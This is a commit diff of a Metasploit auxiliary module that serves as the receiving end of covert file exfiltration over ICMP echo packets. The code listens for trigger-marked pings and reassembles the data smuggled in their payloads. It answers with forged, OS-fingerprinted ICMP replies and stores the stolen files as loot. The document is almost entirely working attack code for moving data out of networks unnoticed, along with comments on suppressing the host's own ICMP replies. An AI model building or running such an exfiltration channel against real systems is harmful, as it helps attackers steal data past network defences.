@@ -18,94 +18,109 @@ class Metasploit3 < Msf::Auxiliary
18
18
19
19
def initialize
20
20
super (
21
- 'Name' => 'ICMP Exfiltration' ,
22
- 'Version' => '$Revision$' ,
23
- 'Description' => %q{
21
+ 'Name' => 'ICMP Exfiltration Service' ,
22
+ 'Description' => %q{
24
23
This module is designed to provide a server-side component to receive and store files
25
- exfiltrated over ICMP.
24
+ exfiltrated over ICMP echo request packets .
26
25
27
26
To use this module you will need to send an initial ICMP echo request containing the
28
- specified trigger (defaults to '^BOF:') followed by the filename being sent. All data
29
- received from this source will automatically be added to the receive buffer until an
30
- ICMP echo request containing a specific end command (defaults to 'EOL') is received.
27
+ specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
28
+ a random filename can be assisnged). All data received from this source will automatically
29
+ be added to the receive buffer until an ICMP echo request containing a specific end trigger
30
+ (defaults to 'EOL') is received.
31
31
} ,
32
- 'Author' => 'Chris John Riley' ,
33
- 'License' => MSF_LICENSE ,
34
- 'References' =>
32
+ 'Author' => 'Chris John Riley' ,
33
+ 'License' => MSF_LICENSE ,
34
+ 'References' =>
35
35
[
36
- # general
37
- [ 'URL' , 'http://blog.c22.cc' ] ,
38
36
# packetfu
39
37
[ 'URL' , 'http://code.google.com/p/packetfu/' ]
40
38
]
41
39
)
42
40
43
41
register_options ( [
44
- OptString . new ( 'START_TRIGGER' , [ true , 'Trigger to listen for (followed by filename)' , '^BOF:' ] ) ,
45
- OptString . new ( 'END_TRIGGER' , [ true , 'End of File command' , '^EOF' ] ) ,
46
- OptString . new ( 'RESPONSE' , [ true , 'Data to respond when initial trigger matches' , 'BEGIN' ] ) ,
47
- OptString . new ( 'BPF_FILTER' , [ true , 'BFP format filter to listen for' , 'icmp' ] ) ,
48
- OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
42
+ OptString . new ( 'START_TRIGGER' , [ true , 'Trigger for beginning of file' , '^BOF' ] ) ,
43
+ OptString . new ( 'END_TRIGGER' , [ true , 'Trigger for end of file' , '^EOF' ] ) ,
44
+ OptString . new ( 'RESP_START' , [ true , 'Data to respond when initial trigger matches' , 'SEND' ] ) ,
45
+ OptString . new ( 'RESP_CONT' , [ true , 'Data ro resond when continuation of data expected' , 'OK' ] ) ,
46
+ OptString . new ( 'RESP_END' , [ true , 'Data to response when EOF received and data saved' , 'COMPLETE' ] ) ,
47
+ OptString . new ( 'BPF_FILTER' , [ true , 'BFP format filter to listen for' , 'icmp' ] ) ,
48
+ OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
49
+ OptBool . new ( 'FNAME_IN_PACKET' , [ true , 'Filename presented in first packet straight after START_TRIGGER' , true ] )
49
50
] , self . class )
50
51
51
52
register_advanced_options ( [
52
- OptString . new ( 'CLOAK' , [ false , 'Create the response packet using a specific OS fingerprint (windows, linux, freebsd)' , 'linux' ] ) ,
53
- OptBool . new ( 'PROMISC' , [ false , 'Enable/Disable promiscuous mode' , false ] ) ,
53
+ OptEnum . new ( 'CLOAK' , [ true , 'OS fingerprint to use for packet creation' , 'linux' , [ 'windows' , 'linux' , 'freebsd' ] ] ) ,
54
+ OptBool . new ( 'PROMISC' , [ true , 'Enable/Disable promiscuous mode' , false ] ) ,
55
+ OptAddress . new ( 'LOCALIP' , [ false , 'The IP address of the local interface' ] )
54
56
] , self . class )
55
57
56
58
deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'UDP_SECRET' , 'GATEWAY' , 'NETMASK' , 'TIMEOUT' )
57
59
end
58
60
59
61
def run
60
62
begin
63
+ #Check Pcaprub is up to date
64
+ if not netifaces_implemented?
65
+ print_error ( "WARNING : Pcaprub is not uptodate, some functionality will not be available" )
66
+ netifaces = false
67
+ else
68
+ netifaces = true
69
+ end
70
+
61
71
@interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
72
+ #This is needed on windows cause we send interface directly to Pcap functions
62
73
@interface = get_interface_guid ( @interface )
63
- @iface_ip = Pcap . lookupaddrs ( @interface ) [ 0 ]
64
-
65
- @filter = datastore [ 'BPF_FILTER' ]
66
- @eoftrigger = datastore [ 'END_TRIGGER' ]
67
- @boftrigger = datastore [ 'START_TRIGGER' ]
68
- @response = datastore [ 'RESPONSE' ]
69
- @promisc = datastore [ 'PROMISC' ] || false
70
- @cloak = datastore [ 'CLOAK' ] . downcase || 'linux'
74
+ @iface_ip = datastore [ 'LOCALIP' ]
75
+ @iface_ip ||= Pcap . lookupaddrs ( @interface ) [ 0 ] if netifaces
76
+ raise "Interface IP is not defined and can not be guessed" unless @iface_ip
71
77
78
+ # start with blank slate
72
79
@record = false
80
+ @record_data = ''
73
81
74
- if @promisc
82
+ if datastore [ 'PROMISC' ]
75
83
print_status ( "Warning: Promiscuous mode enabled. This may cause issues!" )
76
84
end
77
85
78
- # start listner
86
+ # start icmp listener process - loop
79
87
icmplistener
80
88
81
- rescue => ex
82
- print_error ( ex . message )
83
89
ensure
84
90
storefile
85
- print_status ( "Stopping ICMP listener on %s (%s)" % [ @interface , @iface_ip ] )
91
+ print_status ( "\n Stopping ICMP listener on #{ @interface } ( #{ @iface_ip } )" )
86
92
end
87
93
end
88
94
89
95
def icmplistener
90
96
# start icmp listener
91
97
92
- print_good ( "ICMP Listener started on %s (%s). Monitoring for trigger packet containing %s" % [ @interface , @iface_ip , @boftrigger ] )
93
- cap = PacketFu ::Capture . new ( :iface => @interface , :start => true , :filter => @filter , :promisc => @promisc )
98
+ print_status ( "ICMP Listener started on #{ @interface } (#{ @iface_ip } ). Monitoring for trigger packet containing #{ datastore [ 'START_TRIGGER' ] } " )
99
+ if datastore [ 'FNAME_IN_PACKET' ]
100
+ print_status ( "Filename expected in initial packet, directly following trigger (e.g. #{ datastore [ 'START_TRIGGER' ] } filename.ext)" )
101
+ end
102
+
103
+ cap = PacketFu ::Capture . new (
104
+ :iface => @interface ,
105
+ :start => true ,
106
+ :filter => datastore [ 'BPF_FILTER' ] ,
107
+ :promisc => datastore [ 'PROMISC' ]
108
+ )
94
109
loop {
95
- cap . stream . each do |pkt |
110
+ cap . stream . each do | pkt |
96
111
packet = PacketFu ::Packet . parse ( pkt )
97
112
data = packet . payload [ 4 ..-1 ]
98
113
99
- if packet . is_icmp? and data =~ /#{ @boftrigger } /
100
-
101
- print_status ( "#{ Time . now } : SRC:%s ICMP (type %d code %d) DST:%s" % [ packet . ip_saddr , packet . icmp_type , packet . icmp_code , packet . ip_daddr ] )
114
+ if packet . is_icmp? and data =~ /#{ datastore [ 'START_TRIGGER' ] } /
115
+ # start of new file detected
116
+ vprint_status ( "#{ Time . now } : ICMP (type %d code %d) SRC:%s DST:%s" %
117
+ [ packet . icmp_type , packet . icmp_code , packet . ip_saddr , packet . ip_daddr ] )
102
118
103
119
# detect and warn if system is responding to ICMP echo requests
104
120
# suggested fixes:
105
- #
106
- # (linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
107
- # (Windows) netsh firewall set icmpsetting 8 disable
108
- # (Windows cont.) netsh firewall set opmode mode = ENABLE
121
+ # -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
122
+ # -(Windows) netsh firewall set icmpsetting 8 disable
123
+ # -(Windows) netsh firewall set opmode mode = ENABLE
109
124
110
125
if packet . icmp_type == 0 and packet . icmp_code == 0 and packet . ip_saddr == @iface_ip
111
126
raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
@@ -116,116 +131,111 @@ def icmplistener
116
131
storefile
117
132
end
118
133
119
- @p_icmp = packet
120
-
121
134
# begin recording stream
122
135
@record = true
123
136
@record_host = packet . ip_saddr
124
137
@record_data = ''
125
- @filename = data [ ( @boftrigger . length -1 ) ..-1 ] . strip # set filename from icmp payload
126
138
127
- print_good ( "Beginning capture of %s data" % @filename )
139
+ # set filename in packet or set random value
140
+ if datastore [ 'FNAME_IN_PACKET' ]
141
+ @filename = data [ ( ( datastore [ 'START_TRIGGER' ] . length ) -1 ) ..-1 ] . strip # set filename from icmp payload
142
+ else
143
+ @filename = "icmp_exfil_" + ::Time . now . to_i # set random filename
144
+ end
145
+
146
+ print_good ( "Beginning capture of \" #{ @filename } \" data" )
128
147
129
148
# create response packet icmp_pkt
130
- icmp_packet
149
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_START' ] )
131
150
132
- if not @ icmp_response
151
+ if not icmp_response
133
152
raise RuntimeError , "Could not build ICMP resonse"
134
153
else
135
154
# send response packet icmp_pkt
136
- send_icmp
155
+ send_icmp ( icmp_response , contents )
137
156
end
138
- break
139
157
140
158
elsif packet . is_icmp? and @record and @record_host == packet . ip_saddr
141
- # check for EOF marker, if not continue recording
159
+ # check for EOF marker, if not continue recording data
142
160
143
- if data =~ /#{ @eoftrigger } /
144
- print_status ( "%d bytes of data recevied in total" % @record_data . length )
145
- print_good ( "End of File received. Saving %s to loot" % @filename )
161
+ if data =~ /#{ datastore [ 'END_TRIGGER' ] } /
162
+ # end of file marker found
163
+ print_status ( "#{ @record_data . length } bytes of data recevied in total" )
164
+ print_good ( "End of File received. Saving \" #{ @filename } \" to loot" )
146
165
storefile
147
- @p_icmp = packet
148
166
149
167
# create response packet icmp_pkt
150
- icmp_packet
168
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_END' ] )
151
169
152
- if not @ icmp_response
170
+ if not icmp_response
153
171
raise RuntimeError , "Could not build ICMP resonse"
154
172
else
155
173
# send response packet icmp_pkt
156
- send_icmp
174
+ send_icmp ( icmp_response , contents )
157
175
end
158
176
159
177
# turn off recording and clear status
160
178
@record = false
161
179
@record_host = ''
162
180
@record_data = ''
181
+
163
182
else
183
+ # add data to recording and continue
164
184
@record_data << data . to_s ( )
165
- print_status ( "Received %s bytes of data from %s" % [ data . length , packet . ip_saddr ] )
166
- @p_icmp = packet
185
+ vprint_status ( "Received #{ data . length } bytes of data from #{ packet . ip_saddr } " )
167
186
168
187
# create response packet icmp_pkt
169
- icmp_packet
188
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_CONT' ] )
170
189
171
- if not @ icmp_response
190
+ if not icmp_response
172
191
raise RuntimeError , "Could not build ICMP resonse"
173
192
else
174
193
# send response packet icmp_pkt
175
- send_icmp
194
+ send_icmp ( icmp_response , contents )
176
195
end
177
196
end
178
197
end
179
198
end
180
199
}
181
200
end
182
201
183
- def icmp_packet
202
+ def icmp_packet ( packet , contents )
184
203
# create icmp response
185
204
186
- begin
187
-
188
- @src_ip = @p_icmp . ip_daddr
189
- @src_mac = @p_icmp . eth_daddr
190
- @dst_ip = @p_icmp . ip_saddr
191
- @dst_mac = @p_icmp . eth_saddr
192
- @icmp_id = @p_icmp . payload [ 0 , 2 ]
193
- @icmp_seq = @p_icmp . payload [ 2 , 2 ]
194
- # create payload with matching id/seq
195
- @resp_payload = @icmp_id + @icmp_seq + @response
196
-
197
- icmp_pkt = PacketFu ::ICMPPacket . new ( :flavor => @cloak )
198
- icmp_pkt . eth_saddr = @src_mac
199
- icmp_pkt . eth_daddr = @dst_mac
200
- icmp_pkt . icmp_type = 0
201
- icmp_pkt . icmp_code = 0
202
- icmp_pkt . payload = @resp_payload
203
- icmp_pkt . ip_saddr = @src_ip
204
- icmp_pkt . ip_daddr = @dst_ip
205
- icmp_pkt . recalc
206
- @icmp_response = icmp_pkt
207
- rescue => ex
208
- print_error ( ex . message )
209
- end
205
+ @src_ip = packet . ip_daddr
206
+ src_mac = packet . eth_daddr
207
+ @dst_ip = packet . ip_saddr
208
+ dst_mac = packet . eth_saddr
209
+ icmp_id = packet . payload [ 0 , 2 ]
210
+ icmp_seq = packet . payload [ 2 , 2 ]
211
+
212
+ # create payload with matching id/seq
213
+ resp_payload = icmp_id + icmp_seq + contents
214
+
215
+ icmp_pkt = PacketFu ::ICMPPacket . new ( :flavor => datastore [ 'CLOAK' ] . downcase )
216
+ icmp_pkt . eth_saddr = src_mac
217
+ icmp_pkt . eth_daddr = dst_mac
218
+ icmp_pkt . icmp_type = 0
219
+ icmp_pkt . icmp_code = 0
220
+ icmp_pkt . payload = resp_payload
221
+ icmp_pkt . ip_saddr = @src_ip
222
+ icmp_pkt . ip_daddr = @dst_ip
223
+ icmp_pkt . recalc
224
+
225
+ icmp_response = icmp_pkt
226
+
227
+ return icmp_response , contents
210
228
end
211
229
212
- def send_icmp
213
- # send icmp response
214
-
215
- begin
216
- @icmp_response . to_w ( iface = @interface )
217
- if datastore [ 'VERBOSE' ]
218
- print_good ( "Response sent to %s containing %d bytes of data" % [ @dst_ip , @response . length ] )
219
- end
220
- rescue => ex
221
- print_error ( ex . message )
222
- end
230
+ def send_icmp ( icmp_response , contents )
231
+ # send icmp response on selected interface
232
+ icmp_response . to_w ( iface = @interface )
233
+ vprint_good ( "Response sent to #{ @dst_ip } containing response trigger : \" #{ contents } \" " )
223
234
end
224
235
225
236
def storefile
226
- # store the file
227
-
228
- if not @record_data . length == 0
237
+ # store the file in loot if data is present
238
+ if @record_data and not @record_data . empty?
229
239
loot = store_loot (
230
240
"icmp_exfil" ,
231
241
"text/xml" ,
@@ -234,7 +244,8 @@ def storefile
234
244
@filename ,
235
245
"ICMP Exfiltrated Data"
236
246
)
237
- print_good ( "Incoming file %s saved to loot" % @filename )
238
- print_good ( "Loot filename: %s" % loot )
247
+ print_good ( "Incoming file \" #{ @filename } \" saved to loot" )
248
+ print_good ( "Loot filename: #{ loot } " )
249
+ end
239
250
end
240
251
end
0 commit comments